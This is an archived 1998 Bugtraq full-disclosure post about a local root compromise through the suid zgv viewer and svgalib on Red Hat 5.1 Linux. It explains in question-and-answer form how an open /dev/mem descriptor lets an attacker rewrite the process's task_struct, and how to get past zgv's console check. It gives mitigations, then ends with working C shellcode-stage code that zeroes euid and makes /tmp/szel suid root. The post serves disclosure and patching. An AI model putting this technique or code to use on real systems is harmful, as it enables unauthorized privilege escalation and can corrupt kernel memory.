[8241] in bugtraq
Root compromise via zgv
daemon@ATHENA.MIT.EDU (Nergal)
Wed Oct 21 22:23:26 1998
Date: Mon, 19 Oct 1998 12:29:04 +0200
Reply-To: Nergal <rafal@MEDIANET.PL>
From: Nergal <rafal@MEDIANET.PL>
To: BUGTRAQ@NETSPACE.ORG
Hello,
On 9 Oct Paul Boehm, whom I respect immensely for his contributions to linux
security audit list, claimed
> i found this overrun some months ago and even tried to exploit it...
> all i got was a shell with MY uid... then i posted it to the security
> auditing mailinglist and Alan Cox pointed out that vga_init() drops
> root privileges.. all you can gain from this overrun is video display
> access
False. I propose a small test: three questions. The answer for each of them
lies 24 newlines below the question. 3 correct answers equals hash prompt.
I tested my exploit successfully on zgv-3.0-4, which is shipped with
redhat 5.1, overflowing with HOME env variable; I'm pretty sure it will work
with other versions of zgv, probably on other distributions as well ( debian
sources are almost identical to redhat's) .
Q1. Indeed, after the overflow our uid, euid, fsuid and saved uid are non-zero.
But what in fact is <quote>"video display access"</quote>, what resources
are required ?
Answer 1. Besides port access granted by ioperm/iopl, svgalib needs write
access to /dev/mem to operate. Therefore svgalib keeps an open
descriptor ( number three usually ) to /dev/mem ( is it true in all cases ?
can someone confirm that authoritatively ? ). So, we can modify our uid
( any kernel structure in fact ) by writing to the kernel
memory via /dev/mem. All we need to do in our shellcode is to exec a program
which does lseek(3,someoffset,SEEK_SET); write(3,"\000\000",2)
where someoffset is the addres of our uid in our task_struct.
Q2. Pure technical question: How do I find the address of my task_struct ?
Answer 2. If you, carefull reader, are older then 14, you should remember
LDT exploit. Task_struct was pinpointed using pattern matching. This technique
is very powerfull, can be harnessed as well for locating struct module in LKM
which intends to be invisible. Yet there is a better method. We'll reap
the address of struct task_struct * task[] from /proc/ksyms. It's not
exported ? True. However, in kernel/sched.c, line 107, we read
<quote>
struct task_struct * task[NR_TASKS] = {&init_task, };
struct kernel_stat kstat = { 0 };
</quote>
So, the address of task is NR_TASKS*sizeof(task_struct*) less then the
address of kstat, which IS exported. When we have this address, we just need
to check pid of each task struct for equality with our pid.
The code which writes to /dev/mem is enclosed at the end of this post.
Q3 An obstacle. When you spawn the exploit being logged from another system,
you'll receive a message "You must be the owner of the current console to run
zgv" and zgv terminates before its stack is smashed. Indeed, zgv tries to limit
the usage of itself, allowing to be run only by the user who owns current
/dev/tty? . How can this check be bypassed ?
Answer 3. Launch X-server, for instance by running X :1 & . X server will
change the current tty to the next free one and make you owner of it,
fooling zgv.
Conclusions:
1) Any suid program that uses svgalib must be secured against overflows as
tightly as any other suid binary.
2) A week ago I contacted three major Linux distributions, warning them
about the zgv insecurity. I received two responses, one of them being "We
don't ship zgv with our distro, nothing we can do". The second interlocutor
wasn't too convinced about the severity of the problem; I presented him the
exploit code, then the conversation died. If I had any doubts about
importance of full-disclosure, they're gone now.
3) In order to make this post complete, I should enclose a patch. However zgv
wasn't designed with security in mind,
[zgv-3.0-src]$ grep 'strcpy\|strcat\|sprintf\|scanf' *.c |wc -l
55
auditing it is a rather lengthy task.
The best solution seems to be to remove suid bit off zgv. It is meant
*grin* to be run from the console, and the console access usually means root
access anyway. If you need to allow untrusted users to use it, use
StackGuard-ed version. Or read
http://www2.merton.ox.ac.uk/~security/security-audit-199807/0432.html
( this is an excellent Solar Designer's post on some clever method of
securing to some extent strcpy's and related), add the enclosed header file
to the end of zgv.h and recompile. This will help to defeat overflows only,
but they seem to be the only threat: zgv runs with unpriviledged uid ( so no
races and other fs tricks) , and can't be ptraced ( dumpable flag is set ).
Salute to Abbath&Demonaz, who are immortal.
Save yourself,
Nergal
PS . The code.
In order to make it work, it needs little tuning. Find in your /proc/ksyms the
address of kstat and correct the value in line 32. As you can see, this code
attempts to make /tmp/szel suid root.
BTW, if you don't enter this value properly, this code may well end up
writing stuff to random locations in kernel memory. I don't take any
responsibility for the damage it can cause :(
A note for script kiddies & idiots: you need to compose a prog which
overflows zgv yourself, then change usual /bin/sh to the code below.
------------------------------cut here-----------------------------------------
/* by Nergal */
#define SEEK_SET 0
#define __KERNEL__
#include <linux/sched.h>
#undef __KERNEL__
#define SIZEOF sizeof(struct task_struct)
int mem_fd;
int mypid;
void
testtask (unsigned int mem_offset)
{
struct task_struct some_task;
int uid, pid;
lseek (mem_fd, mem_offset, SEEK_SET);
read (mem_fd, &some_task, SIZEOF);
if (some_task.pid == mypid) /* is it our task_struct ? */
{
some_task.euid = 0;
some_task.fsuid = 0; /* needed for chown */
lseek (mem_fd, mem_offset, SEEK_SET);
write (mem_fd, &some_task, SIZEOF);
/* from now on, there is no law beyond do what thou wilt */
chown ("/tmp/szel", 0, 0);
chmod ("/tmp/szel", 04755);
exit (0);
}
}
#define KSTAT 0x001ca90c
main ()
{
unsigned int i;
struct task_struct *task[NR_TASKS];
unsigned int task_addr = KSTAT - NR_TASKS * 4;
mem_fd = 3; /* presumed to be opened /dev/mem */
mypid = getpid ();
lseek (mem_fd, task_addr, SEEK_SET);
read (mem_fd, task, NR_TASKS * 4);
for (i = 0; i < NR_TASKS; i++)
if (task[i])
testtask ((unsigned int)(task[i]));
}